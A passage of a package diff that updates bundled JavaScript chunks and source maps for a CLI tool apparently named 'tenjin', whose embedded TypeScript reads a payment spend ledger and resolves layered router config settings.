};\n}\n"],"mappings":";;;;;;;;;;;;AAAA,SAAS,gBAAgB;AAalB,IAAM,oBAAoB;AAC1B,IAAM,qBAAqB;AAElC,IAAM,oBAAoB,iBAAE,OAAO;AAAA,EACjC,IAAI,iBAAE,OAAO;AAAA,EACb,cAAc,iBAAE,OAAO,EAAE,MAAM,OAAO;AAAA,EACtC,MAAM,iBAAE,OAAO;AAAA;AAAA,EAEf,YAAY,iBAAE,OAAO,EAAE,SAAS;AAAA,EAChC,MAAM,iBAAE,KAAK,CAAC,aAAa,QAAQ,CAAC,EAAE,SAAS;AACjD,CAAC;AAQD,IAAM,iBAAiB,iBAAE,OAAO;AAAA,EAC9B,OAAO,iBAAE,OAAO;AAAA,EAChB,cAAc,iBAAE,OAAO,EAAE,MAAM,OAAO;AAAA,EACtC,MAAM,iBAAE,OAAO;AAAA,EACf,MAAM,iBAAE,KAAK,CAAC,aAAa,QAAQ,CAAC,EAAE,SAAS;AACjD,CAAC;AAGD,IAAM,eAAe,iBAAE,OAAO;AAAA,EAC5B,eAAe,iBAAE,QAAQ,CAAC;AAAA,EAC1B,eAAe,iBAAE,OAAO;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,EAMxB,iBAAiB,iBAAE,OAAO,EAAE,MAAM,OAAO;AAAA,EACzC,0BAA0B,iBAAE,OAAO,EAAE,MAAM,OAAO,EAAE,SAAS;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,EAS7D,eAAe,iBAAE,OAAO,EAAE,MAAM,OAAO,EAAE,SAAS;AAAA,EAClD,cAAc,iBAAE,MAAM,iBAAiB;AAA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/promises';\nimport { z } from 'zod';\nimport { hasCode } from './errno';\nimport { spendLedgerPath } from './paths';\n\n/**\n * The spend ledger's READ side: its shape, the two expiries, and a read-only\n * summary. It lives outside `lib/wallet` so the router hooks can measure an\n * offer against the same session total an authorization would, without the\n * wallet entering their chunk graph (`src/router/dist-chunks.test.ts`). The\n * write side, with its lock and reservations, stays in `lib/wallet/spend.ts`.\n */\n\nexport const DEFAULT_WINDOW_MS = 86_400_000; // 24h rolling day\nexport const RESERVATION_TTL_MS = 600_000; // 10 min: a dangling reservation self-expires\n\nconst ReservationSchema = z.object({\n id: z.string(),\n amountAtomic: z.string().regex(/^\\d+$/),\n atMs: z.number(),\n /** Optional so a ledger written by an older build still parses. */\n requestKey: z.string().optional(),\n mode: z.enum(['automatic', 'manual']).optional(),\n});\nexport type Reservation = z.infer<typeof ReservationSchema>;\n\n/**\n * ONE TRANSMITTED AUTHORIZATION, by its EIP-3009 nonce: what it exposed and\n * when, so a payment the chain later proves was never charged can give back\n * exactly its own amount inside the window it was counted in.\n */\nconst ExposureSchema = z.object({\n nonce: z.string(),\n amountAtomic: z.string().regex(/^\\d+$/),\n atMs: z.number(),\n mode: z.enum(['automatic', 'manual']).optional(),\n});\nexport type Exposure = z.infer<typeof ExposureSchema>;\n\nconst LedgerSchema = z.object({\n schemaVersion: z.literal(2),\n windowStartMs: z.number(),\n /**\n * EXPOSURE: every authorization this window transmitted. A signed EIP-3009\n * authorization is a bearer instrument, so total exposure stays recorded,\n * whatever any counterparty later says it took.\n */\n committedAtomic: z.string().regex(/^\\d+$/),\n automaticCommittedAtomic: z.string().regex(/^\\d+$/).optional(),\n /**\n * SETTLED: what counterparties reported actually taking, which the router's\n * waived outcomes made a different number from the line above (2026-09-23\n * lookup contract). Optional so a ledger an older build wrote still parses;\n * absent means \"everything committed was settled\", which is what that build\n * assumed. Reporting only, never a budget input: under-counting exposure\n * because a server said \"no charge\" is exactly the hole this avoids.\n */\n settledAtomic: z.string().regex(/^\\d+$/).optional(),\n reservations: z.array(ReservationSchema),\n /** Optional so a ledger an older build wrote still parses; such a ledger\n * simply has nothing a reconcile can release. */\n exposures: z.array(ExposureSchema).optional(),\n});\nexport type Ledger = z.infer<typeof LedgerSchema>;\n\nexport function emptyLedger(nowMs: number): Ledger {\n return {\n schemaVersion: 2,\n windowStartMs: nowMs,\n committedAtomic: '0',\n automaticCommittedAtomic: '0',\n settledAtomic: '0',\n reservations: [],\n };\n}\n\n/** Automatic exposure plus automatic pending reservations: the budget's input.\n * Legacy records with no mode/counter conservatively count as automatic. */\nexport function spentOf(ledger: {\n committedAtomic: string;\n automaticCommittedAtomic?: string;\n reservations: { amountAtomic: string; mode?: 'automatic' | 'manual' }[];\n}): bigint {\n return ledger.reservations.reduce(\n (sum, r) => sum + (r.mode === 'manual' ? 0n : BigInt(r.amountAtomic)),\n BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic),\n );\n}\n\n/**\n * ABSENT and CORRUPT both reset the window, but they are not the same fact: the\n * first is a first run, the second is spend that existed and is now gone. Only\n * the second is worth telling anyone about, so the two stay distinguishable here\n * rather than collapsing into one null.\n */\ninterface LedgerRead {\n ledger: Ledger | null;\n /** Set only when the file EXISTS and could not be turned back into a ledger. */\n corrupt?: string;\n}\n\nexport async function readLedger(path: string): Promise<LedgerRead> {\n let raw: string;\n try {\n raw = await readFile(path, 'utf8');\n } catch (err) {\n // A missing file is the ordinary first run. Any other read failure means a\n // file is there and unusable, which is the corrupt case by another name.\n if (hasCode(err, 'ENOENT')) return { ledger: null };\n return { ledger: null, corrupt: err instanceof Error ? err.message : String(err) };\n }\n let json: unknown;\n try {\n json = JSON.parse(raw);\n } catch {\n return { ledger: null, corrupt: 'not valid JSON' };\n }\n const parsed = LedgerSchema.safeParse(json);\n if (parsed.success) return { ledger: parsed.data };\n const issue = parsed.error.issues[0];\n const field = issue?.path.join('.');\n const message = issue?.message ?? 'schema mismatch';\n // Field-qualified: \"expected number, received undefined\" names nothing on its\n // own. zod never echoes the received VALUE, so no spend figure rides along.\n return {\n ledger: null,\n corrupt: field !== undefined && field.length > 0 ? `${field}: ${message}` : message,\n };\n}\n\nexport interface SpendSummary {\n windowStartMs: number;\n committedAtomic: string;\n automaticCommittedAtomic?: string;\n /** The window's transmitted authorizations by key; a routing deposit's is\n * `routing-deposit:<id>`. */\n exposures?: Exposure[];\n reservations: {\n amountAtomic: string;\n atMs: number;\n requestKey?: string;\n mode?: 'automatic' | 'manual';\n }[];\n}\n\n/**\n * The ledger AS AN AUTHORIZATION WOULD SEE IT, for `tenjin status`. Read-only,\n * and it applies the same two expiries the authorizer applies before it\n * evaluates a spend: a rolling window that has run out reads as a fresh one,\n * and reservations past their TTL are gone. Summing the raw file instead\n * reported spend as current, and crashed reservations as open, until the next\n * payment happened to rewrite it.\n *\n * `null` for absent or unreadable, which is the same thing to a report.\n */\nexport async function readSpendSummary(\n dir: string,\n opts: { now?: () => number; windowMs?: number } = {},\n): Promise<SpendSummary | null> {\n const { ledger } = await readLedger(spendLedgerPath(dir));\n if (ledger === null) return null;\n const nowMs = (opts.now ?? Date.now)();\n const windowMs = opts.windowMs ?? DEFAULT_WINDOW_MS;\n if (nowMs - ledger.windowStartMs >= windowMs) return emptyLedger(nowMs);\n return {\n ...ledger,\n reservations: ledger.reservations.filter((r) => nowMs - r.atMs < RESERVATION_TTL_MS),\n };\n}\n"],"mappings":";;;;;;;;;;;;AAAA,SAAS,gBAAgB;AAalB,IAAM,oBAAoB;AAC1B,IAAM,qBAAqB;AAElC,IAAM,oBAAoB,iBAAE,OAAO;AAAA,EACjC,IAAI,iBAAE,OAAO;AAAA,EACb,cAAc,iBAAE,OAAO,EAAE,MAAM,OAAO;AAAA,EACtC,MAAM,iBAAE,OAAO;AAAA;AAAA,EAEf,YAAY,iBAAE,OAAO,EAAE,SAAS;AAAA,EAChC,MAAM,iBAAE,KAAK,CAAC,aAAa,QAAQ,CAAC,EAAE,SAAS;AACjD,CAAC;AAQD,IAAM,iBAAiB,iBAAE,OAAO;AAAA,E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AAe,QAAQ,IAAI,UAAU,OAAO,GAAG,EAAE;AAAA,EACnF;AACA,MAAI;AACJ,MAAI;AACF,WAAO,KAAK,MAAM,GAAG;AAAA,EACvB,QAAQ;AACN,WAAO,EAAE,QAAQ,MAAM,SAAS,iBAAiB;AAAA,EACnD;AACA,QAAM,SAAS,aAAa,UAAU,IAAI;AAC1C,MAAI,OAAO,QAAS,QAAO,EAAE,QAAQ,OAAO,KAAK;AACjD,QAAM,QAAQ,OAAO,MAAM,OAAO,CAAC;AACnC,QAAM,QAAQ,OAAO,KAAK,KAAK,GAAG;AAClC,QAAM,UAAU,OAAO,WAAW;AAGlC,SAAO;AAAA,IACL,QAAQ;AAAA,IACR,SAAS,UAAU,UAAa,MAAM,SAAS,IAAI,GAAG,KAAK,KAAK,OAAO,KAAK;AAAA,EAC9E;AACF;AA2BA,eAAsB,iBACpB,KACA,OAAkD,CAAC,GACrB;AAC9B,QAAM,EAAE,OAAO,IAAI,MAAM,WAAW,gBAAgB,GAAG,CAAC;AACxD,MAAI,WAAW,KAAM,QAAO;AAC5B,QAAM,SAAS,KAAK,OAAO,KAAK,KAAK;AACrC,QAAM,WAAW,KAAK,YAAY;AAClC,MAAI,QAAQ,OAAO,iBAAiB,SAAU,QAAO,YAAY,KAAK;AACtE,SAAO;AAAA,IACL,GAAG;AAAA,IACH,cAAc,OAAO,aAAa,OAAO,CAAC,MAAM,QAAQ,EAAE,OAAO,kBAAkB;AAAA,EACrF;AACF;","names":[]}
|
|
@@ -5,18 +5,16 @@ import {
|
|
|
5
5
|
mainWorktreeOf,
|
|
6
6
|
ownedCandidates,
|
|
7
7
|
projectRoot
|
|
8
|
-
} from "./chunk-
|
|
8
|
+
} from "./chunk-AMEUXNJT.js";
|
|
9
9
|
import {
|
|
10
10
|
CONFIG_DEFAULTS,
|
|
11
|
+
CliError,
|
|
11
12
|
loadRawConfig,
|
|
12
13
|
parseRouterLayer
|
|
13
|
-
} from "./chunk-
|
|
14
|
-
import {
|
|
15
|
-
CliError
|
|
16
|
-
} from "./chunk-JLEF5WHM.js";
|
|
14
|
+
} from "./chunk-VVAHFCX2.js";
|
|
17
15
|
import {
|
|
18
16
|
configPath
|
|
19
|
-
} from "./chunk-
|
|
17
|
+
} from "./chunk-SJLTEINJ.js";
|
|
20
18
|
|
|
21
19
|
// src/router/settings.ts
|
|
22
20
|
import { readFile } from "node:fs/promises";
|
|
@@ -124,4 +122,4 @@ export {
|
|
|
124
122
|
readProjectRouterFile,
|
|
125
123
|
projectRouterPath
|
|
126
124
|
};
|
|
127
|
-
//# sourceMappingURL=chunk-
|
|
125
|
+
//# sourceMappingURL=chunk-MG3G644T.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/router/settings.ts"],"sourcesContent":["import { readFile } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { join, resolve } from 'node:path';\nimport {\n CONFIG_DEFAULTS,\n loadRawConfig,\n parseRouterLayer,\n type PartialConfig,\n type RouterContext,\n type RouterLayer,\n} from '../lib/config';\nimport { CliError } from '../lib/errors';\nimport { configPath } from '../lib/paths';\nimport {\n findAllProjectFiles,\n findNearestProjectFiles,\n mainWorktreeOf,\n ownedCandidates,\n projectRoot,\n type ProjectWalkDeps,\n} from '../lib/settings';\n\n/**\n * THE ONE READER OF THE ROUTER'S OWN KEYS, `router.enabled` and\n * `router.context`. Both hooks, the `request` tool, doctor, the status line and\n * `tenjin config` call {@link routerSettings} first, and nothing reads a router\n * key any other way.\n *\n * THE LAYERS: the default, `~/.tenjin/config.json`, then EVERY\n * `.tenjin/config.json` and `config.local.json` from the working directory up\n * to the git root, and in a linked git worktree the main checkout's pair too.\n * No environment variable.\n *\n * EVERY LAYER IS A FLOOR. `enabled` is false when any layer says false, and\n * `context` is `turn` when any layer says turn; a key a file leaves out\n * inherits, and a looser value is not read. So a file a cloned repository\n * carries cannot undo `tenjin config set router.enabled false` on this\n * machine, a package in a monorepo cannot undo its root, and a\n * `config.local.json` a repository commits anyway cannot undo the committed\n * one. Both keys fail toward less data sent, and no project file has a spend\n * key to loosen. The source reported is the nearest layer at the value.\n *\n * ONE PARSER. The global block is the one `loadRawConfig` already validated,\n * and a project file goes through `parseRouterLayer` from the same schema.\n */\n\n/** The committed project file and the personal one beside it. */\nexport const PROJECT_ROUTER_FILE = join('.tenjin', 'config.json');\nexport const LOCAL_ROUTER_FILE = join('.tenjin', 'config.local.json');\n\nexport type RouterSource = 'default' | 'file' | 'project' | 'local';\n\nexport interface RouterSetting<T> {\n value: T;\n source: RouterSource;\n /** The file that set it; absent for the default. */\n path?: string;\n}\n\nexport interface RouterSettings {\n enabled: RouterSetting<boolean>;\n context: RouterSetting<RouterContext>;\n}\n\nexport interface RouterSettingsInput {\n /** The directory the harness is working in. */\n cwd: string;\n /** The data dir whose `config.json` is the global layer. */\n dataDir: string;\n /** That file, when the caller has already loaded it; read here otherwise. */\n config?: PartialConfig;\n}\n\nexport async function routerSettings(\n input: RouterSettingsInput,\n deps: ProjectWalkDeps = {},\n): Promise<RouterSettings> {\n const globalPath = configPath(input.dataDir);\n const global = (input.config ?? (await loadRawConfig(input.dataDir))).router;\n let enabled: RouterSetting<boolean> = {\n value: CONFIG_DEFAULTS.router.enabled,\n source: 'default',\n };\n let context: RouterSetting<RouterContext> = {\n value: CONFIG_DEFAULTS.router.context,\n source: 'default',\n };\n if (global?.enabled !== undefined) {\n enabled = { value: global.enabled, source: 'file', path: globalPath };\n }\n if (global?.context !== undefined) {\n context = { value: global.context, source: 'file', path: globalPath };\n }\n\n for (const { source, path, layer } of await projectLayers(input, deps)) {\n // Every layer is a floor: a value looser than the one so far is not read.\n if (layer.enabled !== undefined && (layer.enabled === false || enabled.value)) {\n enabled = { value: layer.enabled, source, path };\n }\n if (layer.context !== undefined && (layer.context === 'turn' || context.value === 'session')) {\n context = { value: layer.context, source, path };\n }\n }\n return { enabled, context };\n}\n\nconst ROUTER_FILES = [PROJECT_ROUTER_FILE, LOCAL_ROUTER_FILE];\n\n/**\n * Every project layer, outermost first so the nearest one at a value is the\n * one reported: the main checkout's pair when this is a linked worktree, then\n * each directory from the git root down to `cwd`, its project file before its\n * personal one.\n */\nasync function projectLayers(\n input: RouterSettingsInput,\n deps: ProjectWalkDeps,\n): Promise<{ source: 'project' | 'local'; path: string; layer: RouterLayer }[]> {\n const { levels, gitRoot } = await findAllProjectFiles(input.cwd, ROUTER_FILES, {\n ...deps,\n // $HOME/.tenjin is the global scope, not a project.\n homeIsProject: false,\n });\n const main = gitRoot === null ? null : await mainWorktreeOf(gitRoot, deps.homeDir);\n const outer =\n main === null ? [] : [{ dir: main, found: await ownedCandidates(main, ROUTER_FILES, deps) }];\n const layers = [];\n for (const { dir, found } of [...outer, ...levels.reverse()]) {\n // A data dir kept inside a project is the global file, already read.\n if (resolve(dir, '.tenjin') === resolve(input.dataDir)) continue;\n for (const path of found) {\n const file = await readProjectRouterFile(path);\n if (file === null) continue;\n layers.push({\n source: path === join(dir, LOCAL_ROUTER_FILE) ? ('local' as const) : ('project' as const),\n path,\n layer: file.layer,\n });\n }\n }\n return layers;\n}\n\nconst ABSENT = new Set(['ENOENT', 'ENOTDIR']);\n\n/**\n * One project file: its whole JSON, for a writer that keeps sibling keys, and\n * its router layer through the one parser. Null when there is no file.\n */\nexport async function readProjectRouterFile(\n path: string,\n): Promise<{ json: Record<string, unknown>; layer: RouterLayer } | null> {\n let raw: string;\n try {\n raw = await readFile(path, 'utf8');\n } catch (err) {\n if (ABSENT.has(String((err as { code?: unknown }).code))) return null;\n throw invalid(path, 'could not be read', err);\n }\n let json: unknown;\n try {\n json = JSON.parse(raw);\n } catch (err) {\n throw invalid(path, 'is not valid JSON', err);\n }\n const layer = parseRouterLayer(json, path);\n return { json: json as Record<string, unknown>, layer };\n}\n\n/**\n * Where `tenjin config set --project [--local]` writes from `cwd`: beside the\n * layer {@link routerSettings} already reads there, else at the git root, else\n * in `cwd`. Never in $HOME, whose `.tenjin/config.json` is the global file.\n */\nexport async function projectRouterPath(\n input: { cwd: string; local: boolean },\n deps: ProjectWalkDeps = {},\n): Promise<string> {\n const home = deps.homeDir ?? homedir();\n const hit = await findNearestProjectFiles(input.cwd, [PROJECT_ROUTER_FILE, LOCAL_ROUTER_FILE], {\n ...deps,\n warn: () => undefined,\n homeIsProject: false,\n });\n const dir = hit?.dir ?? (await projectRoot(input.cwd, home));\n if (dir === home) {\n throw new CliError(\n 'USAGE',\n 'Your home directory is not a project: its .tenjin is the global config.',\n {\n fix: 'Run it from inside the project, or drop --project to set it for this machine.',\n },\n );\n }\n return join(dir, input.local ? LOCAL_ROUTER_FILE : PROJECT_ROUTER_FILE);\n}\n\nfunction invalid(path: string, what: string, cause?: unknown): CliError {\n return new CliError('CONFIG_INVALID', `Config at ${path} ${what}`, {\n fix: `Fix ${path}, or delete it.`,\n ...(cause !== undefined ? { cause } : {}),\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,eAAe;AACxB,SAAS,MAAM,eAAe;AA6CvB,IAAM,sBAAsB,KAAK,WAAW,aAAa;AACzD,IAAM,oBAAoB,KAAK,WAAW,mBAAmB;AAyBpE,eAAsB,eACpB,OACA,OAAwB,CAAC,GACA;AACzB,QAAM,aAAa,WAAW,MAAM,OAAO;AAC3C,QAAM,UAAU,MAAM,UAAW,MAAM,cAAc,MAAM,OAAO,GAAI;AACtE,MAAI,UAAkC;AAAA,IACpC,OAAO,gBAAgB,OAAO;AAAA,IAC9B,QAAQ;AAAA,EACV;AACA,MAAI,UAAwC;AAAA,IAC1C,OAAO,gBAAgB,OAAO;AAAA,IAC9B,QAAQ;AAAA,EACV;AACA,MAAI,QAAQ,YAAY,QAAW;AACjC,cAAU,EAAE,OAAO,OAAO,SAAS,QAAQ,QAAQ,MAAM,WAAW;AAAA,EACtE;AACA,MAAI,QAAQ,YAAY,QAAW;AACjC,cAAU,EAAE,OAAO,OAAO,SAAS,QAAQ,QAAQ,MAAM,WAAW;AAAA,EACtE;AAEA,aAAW,EAAE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;AAM5C,eAAsB,sBACpB,MACuE;AACvE,MAAI;AACJ,MAAI;AACF,UAAM,MAAM,SAAS,MAAM,MAAM;AAAA,EACnC,SAAS,KAAK;AACZ,QAAI,OAAO,IAAI,OAAQ,IAA2B,IAAI,CAAC,EAAG,QAAO;AACjE,UAAM,QAAQ,MAAM,qBAAqB,GAAG;AAAA,EAC9C;AACA,MAAI;AACJ,MAAI;AACF,WAAO,KAAK,MAAM,GAAG;AAAA,EACvB,SAAS,KAAK;AACZ,UAAM,QAAQ,MAAM,qBAAqB,GAAG;AAAA,EAC9C;AACA,QAAM,QAAQ,iBAAiB,MAAM,IAAI;AACzC,SAAO,EAAE,MAAuC,MAAM;AACxD;AAOA,eAAsB,kBACpB,OACA,OAAwB,CAAC,GACR;AACjB,QAAM,OAAO,KAAK,WAAW,QAAQ;AACrC,QAAM,MAAM,MAAM,wBAAwB,MAAM,KAAK,CAAC,qBAAqB,iBAAiB,GAAG;AAAA,IAC7F,GAAG;AAAA,IACH,MAAM,MAAM;AAAA,IACZ,eAAe;AAAA,EACjB,CAAC;AACD,QAAM,MAAM,KAAK,OAAQ,MAAM,YAAY,MAAM,KAAK,IAAI;AAC1D,MAAI,QAAQ,MAAM;AAChB,UAAM,IAAI;AAAA,MACR;AAAA,MACA;AAAA,MACA;AAAA,QACE,KAAK;AAAA,MACP;AAAA,IACF;AAAA,EACF;AACA,SAAO,KAAK,KAAK,MAAM,QAAQ,oBAAoB,mBAAmB;AACxE;AAEA,SAAS,QAAQ,MAAc,MAAc,OAA2B;AACtE,SAAO,IAAI,SAAS,kBAAkB,aAAa,IAAI,IAAI,IAAI,IAAI;AAAA,IACjE,KAAK,OAAO,IAAI;AAAA,IAChB,GAAI,UAAU,SAAY,EAAE,MAAM,IAAI,CAAC;AAAA,EACzC,CAAC;AACH;","names":[]}
|
|
1
|
+
{"version":3,"sources":["../src/router/settings.ts"],"sourcesContent":["import { readFile } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { join, resolve } from 'node:path';\nimport {\n CONFIG_DEFAULTS,\n loadRawConfig,\n parseRouterLayer,\n type PartialConfig,\n type RouterContext,\n type RouterLayer,\n} from '../lib/config';\nimport { CliError } from '../lib/errors';\nimport { configPath } from '../lib/paths';\nimport {\n findAllProjectFiles,\n findNearestProjectFiles,\n mainWorktreeOf,\n ownedCandidates,\n projectRoot,\n type ProjectWalkDeps,\n} from '../lib/settings';\n\n/**\n * THE ONE READER OF THE ROUTER'S OWN KEYS, `router.enabled` and\n * `router.context`. Both hooks, the `request` tool, doctor, the status line and\n * `tenjin config` call {@link routerSettings} first, and nothing reads a router\n * key any other way.\n *\n * THE LAYERS: the default, `~/.tenjin/config.json`, then EVERY\n * `.tenjin/config.json` and `config.local.json` from the working directory up\n * to the git root, and in a linked git worktree the main checkout's pair too.\n * No environment variable.\n *\n * EVERY LAYER IS A FLOOR. `enabled` is false when any layer says false, and\n * `context` is `turn` when any layer says turn; a key a file leaves out\n * inherits, and a looser value is not read. So a file a cloned repository\n * carries cannot undo `tenjin config set router.enabled false` on this\n * machine, a package in a monorepo cannot undo its root, and a\n * `config.local.json` a repository commits anyway cannot undo the committed\n * one. Both keys fail toward less data sent, and no project file has a spend\n * key to loosen. The source reported is the nearest layer at the value.\n *\n * ONE PARSER. The global block is the one `loadRawConfig` already validated,\n * and a project file goes through `parseRouterLayer` from the same schema.\n */\n\n/** The committed project file and the personal one beside it. */\nexport const PROJECT_ROUTER_FILE = join('.tenjin', 'config.json');\nexport const LOCAL_ROUTER_FILE = join('.tenjin', 'config.local.json');\n\nexport type RouterSource = 'default' | 'file' | 'project' | 'local';\n\nexport interface RouterSetting<T> {\n value: T;\n source: RouterSource;\n /** The file that set it; absent for the default. */\n path?: string;\n}\n\nexport interface RouterSettings {\n enabled: RouterSetting<boolean>;\n context: RouterSetting<RouterContext>;\n}\n\nexport interface RouterSettingsInput {\n /** The directory the harness is working in. */\n cwd: string;\n /** The data dir whose `config.json` is the global layer. */\n dataDir: string;\n /** That file, when the caller has already loaded it; read here otherwise. */\n config?: PartialConfig;\n}\n\nexport async function routerSettings(\n input: RouterSettingsInput,\n deps: ProjectWalkDeps = {},\n): Promise<RouterSettings> {\n const globalPath = configPath(input.dataDir);\n const global = (input.config ?? (await loadRawConfig(input.dataDir))).router;\n let enabled: RouterSetting<boolean> = {\n value: CONFIG_DEFAULTS.router.enabled,\n source: 'default',\n };\n let context: RouterSetting<RouterContext> = {\n value: CONFIG_DEFAULTS.router.context,\n source: 'default',\n };\n if (global?.enabled !== undefined) {\n enabled = { value: global.enabled, source: 'file', path: globalPath };\n }\n if (global?.context !== undefined) {\n context = { value: global.context, source: 'file', path: globalPath };\n }\n\n for (const { source, path, layer } of await projectLayers(input, deps)) {\n // Every layer is a floor: a value looser than the one so far is not read.\n if (layer.enabled !== undefined && (layer.enabled === false || enabled.value)) {\n enabled = { value: layer.enabled, source, path };\n }\n if (layer.context !== undefined && (layer.context === 'turn' || context.value === 'session')) {\n context = { value: layer.context, source, path };\n }\n }\n return { enabled, context };\n}\n\nconst ROUTER_FILES = [PROJECT_ROUTER_FILE, LOCAL_ROUTER_FILE];\n\n/**\n * Every project layer, outermost first so the nearest one at a value is the\n * one reported: the main checkout's pair when this is a linked worktree, then\n * each directory from the git root down to `cwd`, its project file before its\n * personal one.\n */\nasync function projectLayers(\n input: RouterSettingsInput,\n deps: ProjectWalkDeps,\n): Promise<{ source: 'project' | 'local'; path: string; layer: RouterLayer }[]> {\n const { levels, gitRoot } = await findAllProjectFiles(input.cwd, ROUTER_FILES, {\n ...deps,\n // $HOME/.tenjin is the global scope, not a project.\n homeIsProject: false,\n });\n const main = gitRoot === null ? null : await mainWorktreeOf(gitRoot, deps.homeDir);\n const outer =\n main === null ? [] : [{ dir: main, found: await ownedCandidates(main, ROUTER_FILES, deps) }];\n const layers = [];\n for (const { dir, found } of [...outer, ...levels.reverse()]) {\n // A data dir kept inside a project is the global file, already read.\n if (resolve(dir, '.tenjin') === resolve(input.dataDir)) continue;\n for (const path of found) {\n const file = await readProjectRouterFile(path);\n if (file === null) continue;\n layers.push({\n source: path === join(dir, LOCAL_ROUTER_FILE) ? ('local' as const) : ('project' as const),\n path,\n layer: file.layer,\n });\n }\n }\n return layers;\n}\n\nconst ABSENT = new Set(['ENOENT', 'ENOTDIR']);\n\n/**\n * One project file: its whole JSON, for a writer that keeps sibling keys, and\n * its router layer through the one parser. Null when there is no file.\n */\nexport async function readProjectRouterFile(\n path: string,\n): Promise<{ json: Record<string, unknown>; layer: RouterLayer } | null> {\n let raw: string;\n try {\n raw = await readFile(path, 'utf8');\n } catch (err) {\n if (ABSENT.has(String((err as { code?: unknown }).code))) return null;\n throw invalid(path, 'could not be read', err);\n }\n let json: unknown;\n try {\n json = JSON.parse(raw);\n } catch (err) {\n throw invalid(path, 'is not valid JSON', err);\n }\n const layer = parseRouterLayer(json, path);\n return { json: json as Record<string, unknown>, layer };\n}\n\n/**\n * Where `tenjin config set --project [--local]` writes from `cwd`: beside the\n * layer {@link routerSettings} already reads there, else at the git root, else\n * in `cwd`. Never in $HOME, whose `.tenjin/config.json` is the global file.\n */\nexport async function projectRouterPath(\n input: { cwd: string; local: boolean },\n deps: ProjectWalkDeps = {},\n): Promise<string> {\n const home = deps.homeDir ?? homedir();\n const hit = await findNearestProjectFiles(input.cwd, [PROJECT_ROUTER_FILE, LOCAL_ROUTER_FILE], {\n ...deps,\n warn: () => undefined,\n homeIsProject: false,\n });\n const dir = hit?.dir ?? (await projectRoot(input.cwd, home));\n if (dir === home) {\n throw new CliError(\n 'USAGE',\n 'Your home directory is not a project: its .tenjin is the global config.',\n {\n fix: 'Run it from inside the project, or drop --project to set it for this machine.',\n },\n );\n }\n return join(dir, input.local ? LOCAL_ROUTER_FILE : PROJECT_ROUTER_FILE);\n}\n\nfunction invalid(path: string, what: string, cause?: unknown): CliError {\n return new CliError('CONFIG_INVALID', `Config at ${path} ${what}`, {\n fix: `Fix ${path}, or delete it.`,\n ...(cause !== undefined ? { cause } : {}),\n });\n}\n"],"mappings":";;;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